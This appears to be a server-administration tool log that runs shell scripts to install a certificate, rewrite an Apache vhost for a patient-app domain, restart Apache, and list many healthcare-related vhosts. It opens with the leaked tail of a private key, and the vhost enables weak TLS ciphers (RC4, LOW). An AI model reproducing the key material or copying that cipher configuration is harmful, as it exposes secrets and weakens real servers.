U4VoZrsIEkykKYTI9yNb1yJZfRWfIpQZNCUS9P+SkDHJYKUYg48XkkZz11g63nhb
yfzBVghK/T3najws7sAWkgKozsWAuPcXM1/A9BL6nZPIdZAHq5lG/NYoN14POXEV
B/kQ63+urQKBgQCa5NQAMwoMo8uC6uRsJUIUA6NxYpmhMq/B6ch0saj8kHo/aPlJ
k4+VLLI40jZ7c+/UvhOcDFTosCTO7OmPaeRHywUHXiEmZYyfAQ0rBguvN2YZSAL+
noEBevPhWroZ5cUpzO48LLjH7q9+5q4vT5LV2heMWzh7nDFo7m/hb5XefwKBgBIu
+4wHlPcvkxyd7U3lgC+6YZUhJYAdod6PHaehnC73FVMl/dOKaGvcUQSJ0Zj3DL9q
CwifNe+38+h1EjoN7XZOsXg4iR+YAPHatBBySQ2uH8tmisZOo607PO0w9j3NFu3d
XDpqAIi1NuKOm/mGx5WSr012CV3JrQ3JM2OroVGhAoGBALSKqVxRDws4NF8op7E4
SFeO9ln3bCjQV5at/WdHohDGghvm0Wk5KMzS5jmN727ovGZNMWcKMv/uYtEez5ON
jy/wfFFrG6vNQte+rtQVVkgwMt54AdQ5HbzczFtJ/L6BqgRldraBpbjQPRvO958Q
SB4FFZk1/DlOousvrF1es/IP
-----END PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----
endmsg
chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
cp $temp_file /etc/pki/tls/certs/$TARGET
echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
cp $temp_file /etc/ssl/certs/$TARGET
echo dir=/etc/ssl/certs
else
echo dir=
fi
rm $temp_file
2025-10-11 06:00:49:
chmod 755 /tmp/pkp176998; /tmp/pkp176998; rm /tmp/pkp176998
2025-10-11 06:00:49:
dir=/etc/ssl/certs
2025-10-11 06:00:49:
PUT: /tmp/pkp544952
#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)
show_file() {
echo $BOUNDARY >> $temp_file
if [ -f "$1" ]; then
FILESIZE=$(stat -c%s "$1")
echo $1 $FILESIZE >> $temp_file
cat $1 >> $temp_file
else
echo $1 0 >> $temp_file
fi
echo >> $temp_file
}
show_file "/etc/apache2/sites-enabled/patientapps_cerner_net.conf"
gzip -cn9 $temp_file
rm $temp_file
2025-10-11 06:00:49:
chmod 755 /tmp/pkp544952; /tmp/pkp544952; rm /tmp/pkp544952
2025-10-11 06:00:49:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/patientapps_cerner_net.conf 46
<VirtualHost *:80>
ServerName cerner.patientapps.net
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/patientapps_preview/public
<Directory /var/www/patientapps_preview>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/patientapps/cerner_access.log combined
ErrorLog /var/log/apache2/patientapps/cerner_error.log
SetEnv pkp_uid 18
SetEnv pkp_owner sii
RewriteEngine On
RewriteCond %{REQUEST_METHOD} !POST
RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>
<VirtualHost *:443>
ServerName cerner.patientapps.net
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/9165176ee0fe7a5f957c52572458ff70.crt
DocumentRoot /var/www/patientapps_preview/public
<Directory /var/www/patientapps_preview>
Options +FollowSymLinks -MultiViews
AllowOverride All
<Files "index.html">
FileETag None
Header unset ETag
Header set Cache-Control "max-age=0, no-cache, no-store, must-revalidate"
Header set Pragma "no-cache"
Header set Expires "Wed, 11 Jan 1984 05:00:00 GMT"
</Files>
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/patientapps/cerner_secure_access.log combined
ErrorLog /var/log/apache2/patientapps/cerner_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
</VirtualHost>
2025-10-11 06:00:49:
PUT: /tmp/pkp843031
#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=patientapps_cerner_net.conf
TARGET=/etc/apache2/sites-enabled/patientapps_cerner_net.conf
DOCROOT=-
PUBLIC=
cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
<VirtualHost *:80>
ServerName cerner.patientapps.net
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/patientapps_preview/public
<Directory /var/www/patientapps_preview>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/patientapps/cerner_access.log combined
ErrorLog /var/log/apache2/patientapps/cerner_error.log
SetEnv pkp_uid 18
SetEnv pkp_owner sii
RewriteEngine On
RewriteCond %{REQUEST_METHOD} !POST
RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>
<VirtualHost *:443>
ServerName cerner.patientapps.net
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/9165176ee0fe7a5f957c52572458ff70.crt
DocumentRoot /var/www/patientapps_preview/public
<Directory /var/www/patientapps_preview>
Options +FollowSymLinks -MultiViews
AllowOverride All
<Files "index.html">
FileETag None
Header unset ETag
Header set Cache-Control "max-age=0, no-cache, no-store, must-revalidate"
Header set Pragma "no-cache"
Header set Expires "Wed, 11 Jan 1984 05:00:00 GMT"
</Files>
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/patientapps/cerner_secure_access.log combined
ErrorLog /var/log/apache2/patientapps/cerner_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
</VirtualHost>
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 644 $temp_file
cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
mkdir -p
mkdir -p $DOCROOT/$PUBLIC
chown -R : $DOCROOT
ln -s "..//etc/apache2/sites-enabled/patientapps_cerner_net.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
echo 'link(/etc/apache2/sites-enabled/patientapps_cerner_net.conf)= /etc/apache2//etc/apache2/sites-enabled/patientapps_cerner_net.conf'
echo 'file(/etc/apache2//etc/apache2/sites-enabled/patientapps_cerner_net.conf= 1'
fi
2025-10-11 06:00:49:
chmod 755 /tmp/pkp843031; /tmp/pkp843031; rm /tmp/pkp843031
2025-10-11 06:00:49:
2025-10-11 06:00:49:
PUT: /tmp/pkp227171
#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
/usr/sbin/apachectl graceful
fi
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
export HOMEBREW_NO_INSTALL_FROM_API=1
brew services restart httpd
fi
echo .
2025-10-11 06:00:49:
chmod 755 /tmp/pkp227171; /tmp/pkp227171; rm /tmp/pkp227171
2025-10-11 06:00:50:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.
STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
2025-10-11 06:00:50: Establishing a connection
2025-10-11 06:00:50:
PUT: /tmp/pkp705543
#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
/usr/sbin/apachectl -S
fi
echo .
2025-10-11 06:00:50:
chmod 755 /tmp/pkp705543; /tmp/pkp705543; rm /tmp/pkp705543
2025-10-11 06:00:50:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
VirtualHost configuration:
*:80 is a NameVirtualHost
default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
port 80 namevhost www.myapp.care (/etc/apache2/sites-enabled/001-myapp_www_care.conf:1)
alias myapp.care
port 80 namevhost condor.hostz.org (/etc/apache2/sites-enabled/hostz_condor_org.conf:2)
port 80 namevhost cn-dego.myapp.care (/etc/apache2/sites-enabled/myapp_cn-dego_care.conf:2)
alias www.cn-dego.myapp.care
port 80 namevhost d-oak.myapp.care (/etc/apache2/sites-enabled/myapp_d-oak_care.conf:2)
alias www.d-oak.myapp.care
port 80 namevhost ma1-acrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-acrp_care.conf:2)
alias www.ma1-acrp.myapp.care
port 80 namevhost ma1-anfr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anfr_care.conf:2)
alias www.ma1-anfr.myapp.care
port 80 namevhost ma1-anfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anfu_care.conf:2)
port 80 namevhost ma1-anin.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anin_care.conf:2)
alias www.ma1-anin.myapp.care
port 80 namevhost ma1-ankp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ankp_care.conf:2)
alias www.ma1-ankp.myapp.care
port 80 namevhost ma1-anrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anrp_care.conf:2)
alias www.ma1-anrp.myapp.care
port 80 namevhost ma1-arcr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-arcr_care.conf:2)
alias www.ma1-arcr.myapp.care
port 80 namevhost ma1-asst.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-asst_care.conf:2)
alias www.ma1-asst.myapp.care
port 80 namevhost ma1-chel.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-chel_care.conf:2)
alias www.ma1-chel.myapp.care
port 80 namevhost ma1-cybb.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-cybb_care.conf:2)
alias www.ma1-cybb.myapp.care
port 80 namevhost ma1-dego.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-dego_care.conf:2)
port 80 namevhost ma1-epas.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-epas_care.conf:2)
alias www.ma1-epas.myapp.care
port 80 namevhost ma1-fass.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-fass_care.conf:2)
alias www.ma1-fass.myapp.care
port 80 namevhost ma1-infp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-infp_care.conf:2)
port 80 namevhost ma1-larn.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-larn_care.conf:2)
port 80 namevhost ma1-ldhr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ldhr_care.conf:2)
alias www.ma1-ldhr.myapp.care
port 80 namevhost ma1-lsst.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-lsst_care.conf:2)
alias www.ma1-lsst.myapp.care
port 80 namevhost ma1-mtfp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-mtfp_care.conf:2)
alias www.ma1-mtfp.myapp.care
port 80 namevhost ma1-mvrc.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-mvrc_care.conf:2)
alias www.ma1-mvrc.myapp.care
port 80 namevhost ma1-octf.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-octf_care.conf:2)
alias www.ma1-octf.myapp.care
port 80 namevhost ma1-osbp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-osbp_care.conf:1)
port 80 namevhost ma1-ovin.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ovin_care.conf:2)
alias www.ma1-ovin.myapp.care
port 80 namevhost ma1-pfer.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-pfer_care.conf:2)
alias www.ma1-pfer.myapp.care
port 80 namevhost ma1-prls.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-prls_care.conf:2)
alias www.ma1-prls.myapp.care
port 80 namevhost ma1-rcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-rcl.conf:1)
alias www.ma1-rcl.myapp.care
port 80 namevhost ma1-ropn.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ropn_care.conf:2)
port 80 namevhost ma1-rorp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-rorp_care.conf:2)
alias www.ma1-rorp.myapp.care
port 80 namevhost ma1-savr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-savr_care.conf:2)
alias www.ma1-savr.myapp.care
port 80 namevhost ma1-shem.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-shem_care.conf:2)
alias www.ma1-shem.myapp.care
port 80 namevhost ma1-sspr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-sspr_care.conf:2)
alias www.ma1-sspr.myapp.care
port 80 namevhost ma1-tosr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tosr_care.conf:2)
alias www.ma1-tosr.myapp.care
port 80 namevhost ma1-turp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-turp_care.conf:2)
port 80 namevhost ma1-tylo.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tylo_care.conf:2)
alias www.ma1-tylo.myapp.care
port 80 namevhost ma1-typa.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-typa_care.conf:2)
alias www.ma1-typa.myapp.care
port 80 namevhost ma1-tyto.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tyto_care.conf:2)
alias www.ma1-tyto.myapp.care
port 80 namevhost ma1-utfa.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-utfa_care.conf:2)
alias www.ma1-utfa.myapp.care
port 80 namevhost ma1-vasc.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-vasc_care.conf:2)
alias www.ma1-vasc.myapp.care
port 80 namevhost ma1-vasr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-vasr_care.conf:2)
alias www.ma1-vasr.myapp.care
port 80 namevhost ma2-acrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-acrp_care.conf:2)
alias www.ma2-acrp.myapp.care
port 80 namevhost ma2-anar.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anar_care.conf:2)
alias www.ma2-anar.myapp.care
port 80 namevhost ma2-anfr.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anfr_care.conf:2)
alias www.ma2-anfr.myapp.care
port 80 namevhost ma2-anfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anfu_care.conf:2)
port 80 namevhost ma2-anin.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anin_care.conf:2)
alias www.ma2-anin.myapp.care
port 80 namevhost ma2-anrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anrp_care.conf:2)
alias www.ma2-anrp.myapp.care
port 80 namevhost ma2-buni.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-buni_care.conf:2)
alias www.ma2-buni.myapp.care
port 80 namevhost ma2-chel.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-chel_care.conf:2)
alias www.ma2-chel.myapp.care
port 80 namevhost ma2-hamm.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-hamm_care.conf:2)
alias www.ma2-hamm.myapp.care
port 80 namevhost ma2-hind.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-hind_care.conf:2)
alias www.ma2-hind.myapp.care
port 80 namevhost ma2-lcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-lcl_care.conf:1)
alias www.ma2-lcl.myapp.care
port 80 namevhost ma2-mdfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-mdfu_care.conf:2)
alias www.ma2-mdfu.myapp.care
port 80 namevhost ma2-mtfp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-mtfp_care.conf:2)
alias www.ma2-mtfp.myapp.care
port 80 namevhost ma2-rcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-rcl_care.conf:1)
alias www.ma2-rcl.myapp.care
port 80 namevhost pai-acrc.myapp.care (/etc/apache2/sites-enabled/myapp_pai-acrc_care.conf:2)
port 80 namevhost pai-ctsr.myapp.care (/etc/apache2/sites-enabled/myapp_pai-ctsr_care.conf:2)
alias www.pai-ctsr.myapp.care
alias 563309.myapp.care
alias 179554.myapp.care
port 80 namevhost pai-lc.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lc_care.conf:1)
alias www.pai-lc.myapp.care
port 80 namevhost pai-ldhr.myapp.care (/etc/apache2/sites-enabled/myapp_pai-ldhr_care.conf:2)
alias www.pai-ldhr.myapp.care
alias 296550.myapp.care
alias 144327.myapp.care
alias 654784.myapp.care
port 80 namevhost pai-lsg-s.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lsg-s_care.conf:2)
alias 847670.myapp.care
alias 573398.myapp.care
port 80 namevhost pai-lsst.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lsst_care.conf:2)
alias www.pai-lsst.myapp.care
alias 338088.myapp.care
alias 083491.myapp.care
port 80 namevhost pai-rco.myapp.care (/etc/apache2/sites-enabled/myapp_pai-rco_care.conf:1)
alias www.pai-rco.myapp.care
port 80 namevhost sma1-lgb.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lgb_care.conf:2)
alias www.sma1-lgb.myapp.care
port 80 namevhost sma1-lrygb.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lrygb_care.conf:2)
alias www.sma1-lrygb.myapp.care
port 80 namevhost sma1-lsg.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lsg_care.conf:2)
alias www.sma1-lsg.myapp.care
port 80 namevhost sma1-pcnl.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-pcnl_care.conf:2)
alias www.sma1-pcnl.myapp.care
port 80 namevhost test.myapp.care (/etc/apache2/sites-enabled/myapp_test_care.conf:2)
alias www.test.myapp.care
port 80 namevhost version2.myapp.care (/etc/apache2/sites-enabled/myapp_version2_care.conf:8)
alias www.version2.myapp.care
wild alias *.myapp.care
port 80 namevhost athenahealth.patientapps.net (/etc/apache2/sites-enabled/patientapps_athenahealth_net.conf:2)
port 80 namevhost audio.patientapps.net (/etc/apache2/sites-enabled/patientapps_audio_net.conf:2)
port 80 namevhost cerner.patientapps.net (/etc/apache2/sites-enabled/patientapps_cerner_net.conf:2)
port 80 namevhost go.patientapps.net (/etc/apache2/sites-enabled/patientapps_go_net.conf:1)
port 80 namevhost pai.patientapps.net (/etc/apache2/sites-enabled/patientapps_pai_net.conf:2)
port 80 namevhost portal.patientapps.net (/etc/apache2/sites-enabled/patientapps_portal_net.conf:2)
alias live.patientapps.net
port 80 namevhost preview.patientapps.net (/etc/apache2/sites-enabled/patientapps_preview_net.conf:2)
port 80 namevhost shop.patientapps.co (/etc/apache2/sites-enabled/patientapps_shop_co.conf:2)
port 80 namevhost test.patientapps.co (/etc/apache2/sites-enabled/patientapps_test_co.conf:2)
port 80 namevhost patientapps.net (/etc/apache2/sites-enabled/patientapps_www_net.conf:1)
alias www.patientapps.net
port 80 namevhost store.patientappsinc.com (/etc/apache2/sites-enabled/patientappsinc_store_com.conf:2)
alias store.patientapps.com
alias store.patientapps.co
port 80 namevhost patientappsinc.com (/etc/apache2/sites-enabled/patientappsinc_www_com.conf:1)
alias www.patientappsinc.com
alias patientapps.com
alias www.patientapps.com
*:443 is a NameVirtualHost
default server www.myapp.care (/etc/apache2/sites-enabled/001-myapp_www_care.conf:11)
port 443 namevhost www.myapp.care (/etc/apache2/sites-enabled/001-myapp_www_care.conf:11)
alias myapp.care
port 443 namevhost condor.hostz.org (/etc/apache2/sites-enabled/hostz_condor_org.conf:22)
port 443 namevhost cn-dego.myapp.care (/etc/apache2/sites-enabled/myapp_cn-dego_care.conf:19)
alias www.cn-dego.myapp.care
port 443 namevhost d-oak.myapp.care (/etc/apache2/sites-enabled/myapp_d-oak_care.conf:22)
alias www.d-oak.myapp.care
port 443 namevhost ma1-acrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-acrp_care.conf:22)
alias www.ma1-acrp.myapp.care
port 443 namevhost ma1-anfr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anfr_care.conf:22)
alias www.ma1-anfr.myapp.care
port 443 namevhost ma1-anfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anfu_care.conf:20)
port 443 namevhost ma1-anin.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anin_care.conf:22)
alias www.ma1-anin.myapp.care
port 443 namevhost ma1-ankp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ankp_care.conf:22)
alias www.ma1-ankp.myapp.care
port 443 namevhost ma1-anrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anrp_care.conf:22)
alias www.ma1-anrp.myapp.care
port 443 namevhost ma1-arcr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-arcr_care.conf:22)
alias www.ma1-arcr.myapp.care
port 443 namevhost ma1-asst.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-asst_care.conf:22)
alias www.ma1-asst.myapp.care
port 443 namevhost ma1-chel.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-chel_care.conf:22)
alias www.ma1-chel.myapp.care
port 443 namevhost ma1-cybb.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-cybb_care.conf:22)
alias www.ma1-cybb.myapp.care
port 443 namevhost ma1-dego.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-dego_care.conf:21)
alias www.ma1-dego.myapp.care
port 443 namevhost ma1-epas.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-epas_care.conf:22)
alias www.ma1-epas.myapp.care
port 443 namevhost ma1-fass.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-fass_care.conf:22)
alias www.ma1-fass.myapp.care
port 443 namevhost ma1-infp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-infp_care.conf:22)
port 443 namevhost ma1-larn.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-larn_care.conf:20)
port 443 namevhost ma1-ldhr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ldhr_care.conf:22)
alias www.ma1-ldhr.myapp.care
port 443 namevhost ma1-lsst.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-lsst_care.conf:22)
alias www.ma1-lsst.myapp.care
port 443 namevhost ma1-mtfp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-mtfp_care.conf:22)
alias www.ma1-mtfp.myapp.care
port 443 namevhost ma1-mvrc.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-mvrc_care.conf:22)
alias www.ma1-mvrc.myapp.care
port 443 namevhost ma1-octf.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-octf_care.conf:22)
alias www.ma1-octf.myapp.care
port 443 namevhost ma1-osbp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-osbp_care.conf:20)
port 443 namevhost ma1-ovin.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ovin_care.conf:22)
alias www.ma1-ovin.myapp.care
port 443 namevhost ma1-pfer.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-pfer_care.conf:22)
alias www.ma1-pfer.myapp.care
port 443 namevhost ma1-prls.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-prls_care.conf:22)
alias www.ma1-prls.myapp.care
port 443 namevhost ma1-rcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-rcl.conf:8)
alias www.ma1-rcl.myapp.care
port 443 namevhost ma1-ropn.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ropn_care.conf:20)
port 443 namevhost ma1-rorp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-rorp_care.conf:22)
alias www.ma1-rorp.myapp.care
port 443 namevhost ma1-savr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-savr_care.conf:21)
alias www.ma1-savr.myapp.care
port 443 namevhost ma1-shem.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-shem_care.conf:22)
alias www.ma1-shem.myapp.care
port 443 namevhost ma1-sspr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-sspr_care.conf:22)
alias www.ma1-sspr.myapp.care
port 443 namevhost ma1-tosr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tosr_care.conf:22)
alias www.ma1-tosr.myapp.care
port 443 namevhost ma1-turp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-turp_care.conf:20)
port 443 namevhost ma1-tylo.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tylo_care.conf:22)
alias www.ma1-tylo.myapp.care
port 443 namevhost ma1-typa.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-typa_care.conf:22)
alias www.ma1-typa.myapp.care
port 443 namevhost ma1-tyto.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tyto_care.conf:22)
alias www.ma1-tyto.myapp.care
port 443 namevhost ma1-utfa.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-utfa_care.conf:22)
alias www.ma1-utfa.myapp.care
port 443 namevhost ma1-vasc.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-vasc_care.conf:22)
alias www.ma1-vasc.myapp.care
port 443 namevhost ma1-vasr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-vasr_care.conf:22)
alias www.ma1-vasr.myapp.care
port 443 namevhost ma2-acrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-acrp_care.conf:29)
alias www.ma2-acrp.myapp.care
port 443 namevhost ma2-anar.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anar_care.conf:22)
alias www.ma2-anar.myapp.care
port 443 namevhost ma2-anfr.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anfr_care.conf:22)
alias www.ma2-anfr.myapp.care
port 443 namevhost ma2-anfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anfu_care.conf:20)
port 443 namevhost ma2-anin.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anin_care.conf:22)
alias www.ma2-anin.myapp.care
port 443 namevhost ma2-anrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anrp_care.conf:22)
alias www.ma2-anrp.myapp.care
port 443 namevhost ma2-buni.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-buni_care.conf:22)
alias www.ma2-buni.myapp.care
